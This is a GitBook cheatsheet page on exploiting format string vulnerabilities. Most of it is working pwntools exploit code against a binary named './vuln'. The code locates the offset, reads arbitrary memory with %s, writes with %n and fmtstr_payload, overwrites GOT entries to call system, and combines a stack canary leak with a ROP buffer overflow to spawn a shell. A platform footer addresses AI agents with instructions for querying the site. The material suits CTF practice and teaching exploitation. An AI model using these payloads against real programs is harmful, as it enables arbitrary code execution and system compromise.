> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/05-format-string-cheatsheet.md).

# Format String Vulnerability Cheatsheet

## ─── SPECIFIER REFERENCE ──────────────────────────────────────────────────────

```
%p        print pointer (hex, with 0x prefix)
%x        print hex integer (no prefix, 4 bytes)
%lx       print hex long (8 bytes on 64-bit)
%d        print signed decimal
%u        print unsigned decimal
%s        dereference pointer → print string   ← ARBITRARY READ
%n        write byte-count to pointer          ← ARBITRARY WRITE
%hn       write 2-byte short
%hhn      write 1-byte char
%lln      write 8-byte long long

%Nc       print exactly N spaces/chars         ← CONTROL WRITE VALUE
%N$p      Nth argument as pointer              ← DIRECT PARAMETER ACCESS
%N$s      Nth argument as string ptr
%N$n      write to Nth argument address
%N$hhn    write 1 byte to Nth argument

Combined: %50c%7$hhn  → print 50 chars, write 0x32 to addr at offset 7
```

***

## ─── FINDING YOUR OFFSET ─────────────────────────────────────────────────────

```bash
# Method 1: manual
./vuln <<< "AAAA.%1\$p.%2\$p.%3\$p.%4\$p.%5\$p.%6\$p.%7\$p.%8\$p.%9\$p.%10\$p"
# Look for 0x41414141 (AAAA) in output → that position is your offset

# Method 2: pwntools FmtStr
from pwn import *

def send_fmt(payload):
    p = process('./vuln')
    p.sendlineafter(b'Input: ', payload)
    response = p.recvall(timeout=1)
    p.close()
    return response

fmt = FmtStr(execute_fmt=send_fmt)
print(f"[+] Offset: {fmt.offset}")
```

***

## ─── 64-BIT ARGUMENT ORDER ───────────────────────────────────────────────────

```
printf(fmt, a, b, c, d, e, f, g, h, ...)
         ↓
%1$p = rsi   (2nd arg)      ← first param after fmt
%2$p = rdx
%3$p = rcx
%4$p = r8
%5$p = r9
%6$p = [rsp+8]              ← first stack arg
%7$p = [rsp+16]
...

Your buffer is usually on the stack, so at offset 6+ (adjust per binary)
```

***

## ─── ARBITRARY READ ──────────────────────────────────────────────────────────

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

OFFSET = 8   # your format string offset

def read_addr(addr):
    """Read 8 bytes from arbitrary address using %s"""
    # Place address AFTER format specifier (null byte workaround for 64-bit)
    fmt = f'%{OFFSET}$s|||'.encode()
    pad = b'A' * ((8 - len(fmt) % 8) % 8)   # align to 8 bytes
    payload = fmt + pad + p64(addr)
    p.sendlineafter(b'Input: ', payload)
    data = p.recvuntil(b'|||')[:-3]
    return data.ljust(8, b'\x00')

# Leak libc via GOT
leak = u64(read_addr(elf.got['puts']))
libc.address = leak - libc.sym['puts']
log.success(f"libc @ {hex(libc.address)}")

# Leak stack canary (find at known offset via %p dump)
def dump_stack(n=30):
    payload = b'|'.join(f'%{i}$p'.encode() for i in range(1, n+1))
    p.sendlineafter(b'Input: ', payload)
    vals = p.recvline().split(b'|')
    return [int(v, 16) if v.strip().startswith(b'0x') else 0 for v in vals]

stack = dump_stack()
for i, v in enumerate(stack, 1):
    if hex(v).endswith('00') and v > 0x1000:
        print(f"[{i:2d}] Possible canary: {hex(v)}")
```

***

## ─── ARBITRARY WRITE ─────────────────────────────────────────────────────────

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')
OFFSET = 8

# ── Simple write with fmtstr_payload ──
def write_mem(writes_dict):
    payload = fmtstr_payload(OFFSET, writes_dict)
    p.sendlineafter(b'Input: ', payload)
    p.recvall(timeout=1)

# Write 0x1337 to flag variable
write_mem({elf.sym['flag']: 0x1337})

# GOT overwrite: redirect puts → system
write_mem({elf.got['puts']: libc.sym['system']})

# Multiple writes at once
write_mem({
    elf.got['puts']:   libc.sym['system'],
    elf.got['exit']:   elf.sym['win'],
})

# ── Manual write with %n ──
def write_byte(addr, byte_val, offset):
    """Write 1 byte to addr using %hhn"""
    fmt = (f'%{byte_val}c%{offset}$hhn').encode() if byte_val > 0 else (f'%{offset}$hhn').encode()
    pad = b'A' * ((8 - len(fmt) % 8) % 8)
    payload = fmt + pad + p64(addr)
    p.sendlineafter(b'Input: ', payload)

# Write full 8-byte address in 2-byte chunks (for large values like libc addrs)
def write_qword(addr, value, offset):
    writes = {}
    for i in range(4):
        writes[addr + i*2] = (value >> (i*16)) & 0xffff
    payload = fmtstr_payload(offset, writes, write_size='short')
    p.sendlineafter(b'Input: ', payload)
```

***

## ─── GOT OVERWRITE (FULL EXAMPLE) ───────────────────────────────────────────

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('./libc.so.6')
p    = process('./vuln', env={'LD_PRELOAD': './libc.so.6'})

OFFSET = 8

### Step 1: Leak libc ###
fmt = f'%{OFFSET}$s|||'.encode()
pad = b'A' * ((8 - len(fmt) % 8) % 8)
p.sendlineafter(b'Input: ', fmt + pad + p64(elf.got['puts']))
leak = u64(p.recvuntil(b'|||')[:-3].ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc base: {hex(libc.address)}")

### Step 2: Overwrite GOT ###
payload = fmtstr_payload(OFFSET, {elf.got['puts']: libc.sym['system']})
p.sendlineafter(b'Input: ', payload)

### Step 3: Trigger system("/bin/sh") ###
p.sendlineafter(b'Input: ', b'/bin/sh\x00')
p.interactive()
```

***

## ─── STACK CANARY LEAK + BOF ─────────────────────────────────────────────────

```python
from pwn import *

elf  = ELF('./vuln')   # has both FSV and BOF
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

# Step 1: Leak canary + libc via format string
CANARY_OFFSET = 17    # find by inspecting %p dump
LIBC_OFFSET   = 23    # find by comparing with GDB vmmap

payload = f'%{CANARY_OFFSET}$p|%{LIBC_OFFSET}$p'.encode()
p.sendlineafter(b'Name: ', payload)

line   = p.recvline()
parts  = line.decode().split('|')
canary = int(parts[0].strip(), 16)
l_leak = int(parts[1].strip(), 16)

libc.address = l_leak - libc.sym['__libc_start_main'] - 243
log.success(f"canary: {hex(canary)}")
log.success(f"libc:   {hex(libc.address)}")

# Step 2: Buffer overflow using leaked canary
pop_rdi = next(libc.search(asm('pop rdi; ret')))
ret     = next(libc.search(asm('ret')))

payload2  = b'A' * 64          # buffer
payload2 += p64(canary)        # canary (must be exact)
payload2 += p64(0)             # saved rbp
payload2 += p64(ret)           # alignment
payload2 += p64(pop_rdi)
payload2 += p64(next(libc.search(b'/bin/sh')))
payload2 += p64(libc.sym['system'])

p.sendlineafter(b'Input: ', payload2)
p.interactive()
```

***

## ─── WRITE-WHAT-WHERE PRIMITIVES ─────────────────────────────────────────────

```python
# fmtstr_payload options
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
#   offset      = your buffer's offset in format string
#   writes      = dict {addr: value}
#   numbwritten = chars already printed before the fmt string
#   write_size  = 'byte'(%hhn) / 'short'(%hn) / 'int'(%n)

# Example: write 8-byte libc address to GOT
fmtstr_payload(8, {got_puts: system_addr}, write_size='short')
# writes in 2-byte chunks: more reliable for large values

# FmtStr auto-detect offset
autofmt = FmtStr(execute_fmt)
autofmt.write(target_addr, value)
autofmt.execute_writes()
```

***

## ─── TIPS & COMMON PITFALLS ──────────────────────────────────────────────────

```
1. Null bytes in 64-bit addresses truncate the format string
   → Always put addresses AFTER format specifiers

2. fgets/read stops at newline/null
   → Use read() instead of scanf() in your exploit if possible
   → If \n is an issue, use %0c padding tricks

3. If the output is buffered (no newline), use fflush or crash to flush

4. Some binaries print to stderr — use p.recv2() or recvuntil carefully

5. Check output carefully — sometimes a "0xa" (newline) is the 7th byte of a 6-byte address

6. Buffer output can be truncated — increase your recv timeout

7. %p vs %lx: %p includes "0x", %lx doesn't — parse accordingly
```

***

## ─── ONE-LINERS ──────────────────────────────────────────────────────────────

```bash
# Find offset manually (bash)
for i in $(seq 1 30); do
  echo -n "$i: "
  echo "%$i\$p" | ./vuln 2>/dev/null
done

# Generate pattern with marker
python3 -c "print('AAAA.' + '.'.join(['%'+str(i)+'\$p' for i in range(1,25)]))"

# Quick read test
python3 -c "from pwn import *; p=process('./vuln'); p.sendlineafter(b'Input: ', b'%7\$p'); print(p.recvline())"
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/05-format-string-cheatsheet.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
